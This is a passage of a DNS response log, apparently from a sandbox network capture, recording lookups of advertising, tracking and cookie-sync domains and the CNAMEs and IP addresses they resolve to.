Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	global.px.quantserve.com		192.184.68.149	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243664026 CET	1.1.1.1	192.168.2.4	0x846c	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.243841887 CET	1.1.1.1	192.168.2.4	0x439	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.347435951 CET	1.1.1.1	192.168.2.4	0x7e4f	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.347435951 CET	1.1.1.1	192.168.2.4	0x7e4f	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.231.250.139	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.347435951 CET	1.1.1.1	192.168.2.4	0x7e4f	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		54.211.17.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.347435951 CET	1.1.1.1	192.168.2.4	0x7e4f	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.233.0.32	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.347435951 CET	1.1.1.1	192.168.2.4	0x7e4f	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		54.164.228.18	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.348342896 CET	1.1.1.1	192.168.2.4	0x22ce	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.174.90.242	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.146.35.99	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.146.46.22	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.196.247.2	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.165.166.176	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.146.126.47	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.210.107.216	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.403625965 CET	1.1.1.1	192.168.2.4	0x4f41	No error (0)	sync.srv.stackadapt.com		54.145.242.45	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.590790033 CET	1.1.1.1	192.168.2.4	0x244d	No error (0)	ums.acuityplatform.com		69.90.254.78	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.246.25	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.178.83	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.227.142	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.144.54	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.196.22	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.177.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.221.128	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764355898 CET	1.1.1.1	192.168.2.4	0x312a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.188.95	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.764370918 CET	1.1.1.1	192.168.2.4	0x7baa	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.931274891 CET	1.1.1.1	192.168.2.4	0xcab5	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:21.931274891 CET	1.1.1.1	192.168.2.4	0xcab5	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.931274891 CET	1.1.1.1	192.168.2.4	0xcab5	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.931274891 CET	1.1.1.1	192.168.2.4	0xcab5	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.931588888 CET	1.1.1.1	192.168.2.4	0x1ffa	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:22.184542894 CET	1.1.1.1	192.168.2.4	0x8249	No error (0)	gocm.c.appier.net	cm116.appier.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:22.185338974 CET	1.1.1.1	192.168.2.4	0x6321	No error (0)	gocm.c.appier.net	cm127.appier.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:22.185338974 CET	1.1.1.1	192.168.2.4	0x6321	No error (0)	cm127.appier.org		172.105.221.29	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.237471104 CET	1.1.1.1	192.168.2.4	0xcf88	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:22.237471104 CET	1.1.1.1	192.168.2.4	0xcf88	No error (0)	adserver.technoratimedia.com		150.136.26.45	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.239016056 CET	1.1.1.1	192.168.2.4	0xabcc	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:22.286139965 CET	1.1.1.1	192.168.2.4	0x6fd8	No error (0)	ipac.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.442337990 CET	1.1.1.1	192.168.2.4	0x336a	No error (0)	matching.truffle.bid		23.88.86.2	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.442337990 CET	1.1.1.1	192.168.2.4	0x336a	No error (0)	matching.truffle.bid		162.55.120.196	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.535659075 CET	1.1.1.1	192.168.2.4	0x1347	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.772325039 CET	1.1.1.1	192.168.2.4	0xa0b6	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		3.222.135.61	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		44.219.58.122	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		50.17.254.219	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		34.202.106.150	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		34.234.194.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		34.199.242.225	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		34.224.207.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.565145969 CET	1.1.1.1	192.168.2.4	0x69c7	No error (0)	thrtle.com		18.214.231.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		18.206.75.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		44.217.118.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		35.174.112.174	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		54.90.34.250	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		3.229.81.23	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.566256046 CET	1.1.1.1	192.168.2.4	0xec8f	No error (0)	crb.kargo.com		54.198.106.196	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.45.141.6	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.6.102.233	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.3.191.88	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.73.1.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.73.29.135	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.44.250.119	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.7.214.91	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567020893 CET	1.1.1.1	192.168.2.4	0xa832	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.23.7.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567095995 CET	1.1.1.1	192.168.2.4	0x4fc9	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567790985 CET	1.1.1.1	192.168.2.4	0x8187	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567964077 CET	1.1.1.1	192.168.2.4	0xd38e	No error (0)	pixel-sync.sitescout.com	pixel-a.sitescout.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567975998 CET	1.1.1.1	192.168.2.4	0x989e	No error (0)	pixel-sync.sitescout.com	pixel-a.sitescout.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.567975998 CET	1.1.1.1	192.168.2.4	0x989e	No error (0)	pixel-a.sitescout.com		207.198.113.87	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568185091 CET	1.1.1.1	192.168.2.4	0xc962	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		54.166.215.153	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		50.16.139.245	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		34.196.213.92	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		52.6.251.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		18.215.116.242	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		44.205.43.74	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		34.237.132.177	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.568304062 CET	1.1.1.1	192.168.2.4	0xc2ad	No error (0)	rtb.adentifi.com		3.213.62.40	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.572369099 CET	1.1.1.1	192.168.2.4	0x5018	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.572632074 CET	1.1.1.1	192.168.2.4	0x3218	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.915180922 CET	1.1.1.1	192.168.2.4	0x49a0	No error (0)	aax-eu.amazon-adsystem.com		54.239.38.253	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:23.994260073 CET	1.1.1.1	192.168.2.4	0x2888	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.994272947 CET	1.1.1.1	192.168.2.4	0xde55	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:23.994272947 CET	1.1.1.1	192.168.2.4	0xde55	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:24.253858089 CET	1.1.1.1	192.168.2.4	0x315c	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:24.253858089 CET	1.1.1.1	192.168.2.4	0x315c	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:24.254885912 CET	1.1.1.1	192.168.2.4	0x7df0	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:24.254885912 CET	1.1.1.1	192.168.2.4	0x7df0	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.194711924 CET	1.1.1.1	192.168.2.4	0x2751	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.195025921 CET	1.1.1.1	192.168.2.4	0x111	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.278765917 CET	1.1.1.1	192.168.2.4	0x48d2	No error (0)	rtb.adstanding.com		18.235.217.234	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.278765917 CET	1.1.1.1	192.168.2.4	0x48d2	No error (0)	rtb.adstanding.com		52.0.205.209	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.294702053 CET	1.1.1.1	192.168.2.4	0x227f	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.295116901 CET	1.1.1.1	192.168.2.4	0x63ce	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.295116901 CET	1.1.1.1	192.168.2.4	0x63ce	No error (0)	dc13-prebid.a-mx.net		147.28.146.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.295116901 CET	1.1.1.1	192.168.2.4	0x63ce	No error (0)	dc13-prebid.a-mx.net		147.28.129.37	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.295116901 CET	1.1.1.1	192.168.2.4	0x63ce	No error (0)	dc13-prebid.a-mx.net		147.28.129.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.491266966 CET	1.1.1.1	192.168.2.4	0x19f2	No error (0)	ad.mrtnsvr.com		34.102.163.6	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.597466946 CET	1.1.1.1	192.168.2.4	0x64f4	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.597466946 CET	1.1.1.1	192.168.2.4	0x64f4	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.598114967 CET	1.1.1.1	192.168.2.4	0xe0cd	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:25.762581110 CET	1.1.1.1	192.168.2.4	0xf388	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:25.762581110 CET	1.1.1.1	192.168.2.4	0xf388	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:25.762844086 CET	1.1.1.1	192.168.2.4	0x3d24	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:26.137996912 CET	1.1.1.1	192.168.2.4	0x50d6	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:26.143162012 CET	1.1.1.1	192.168.2.4	0x5218	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:26.143846989 CET	1.1.1.1	192.168.2.4	0xd250	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144057989 CET	1.1.1.1	192.168.2.4	0x7668	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.111	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144057989 CET	1.1.1.1	192.168.2.4	0x7668	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.105	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144057989 CET	1.1.1.1	192.168.2.4	0x7668	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.47	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144057989 CET	1.1.1.1	192.168.2.4	0x7668	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.49	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		34.193.193.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		35.169.211.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		52.204.171.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		3.215.169.119	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		52.72.21.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		52.20.53.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		34.198.159.38	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.144550085 CET	1.1.1.1	192.168.2.4	0x4eb2	No error (0)	bcp.crwdcntrl.net		34.197.228.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.146059036 CET	1.1.1.1	192.168.2.4	0x72e2	No error (0)	pmp.mxptint.net		38.98.69.175	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.146187067 CET	1.1.1.1	192.168.2.4	0xef11	No error (0)	match.adsby.bidtheatre.com		188.166.17.21	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.146187067 CET	1.1.1.1	192.168.2.4	0xef11	No error (0)	match.adsby.bidtheatre.com		64.227.64.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.146187067 CET	1.1.1.1	192.168.2.4	0xef11	No error (0)	match.adsby.bidtheatre.com		134.122.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.344455957 CET	1.1.1.1	192.168.2.4	0x729f	No error (0)	s.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.344455957 CET	1.1.1.1	192.168.2.4	0x729f	No error (0)	s.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.345371962 CET	1.1.1.1	192.168.2.4	0xc6c	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:26.943471909 CET	1.1.1.1	192.168.2.4	0x257a	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:26.943471909 CET	1.1.1.1	192.168.2.4	0x257a	No error (0)	d2wcz8sc48ztgm.cloudfront.net		52.85.151.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.943471909 CET	1.1.1.1	192.168.2.4	0x257a	No error (0)	d2wcz8sc48ztgm.cloudfront.net		52.85.151.129	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.943471909 CET	1.1.1.1	192.168.2.4	0x257a	No error (0)	d2wcz8sc48ztgm.cloudfront.net		52.85.151.4	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.943471909 CET	1.1.1.1	192.168.2.4	0x257a	No error (0)	d2wcz8sc48ztgm.cloudfront.net		52.85.151.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:26.944035053 CET	1.1.1.1	192.168.2.4	0xc2a5	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
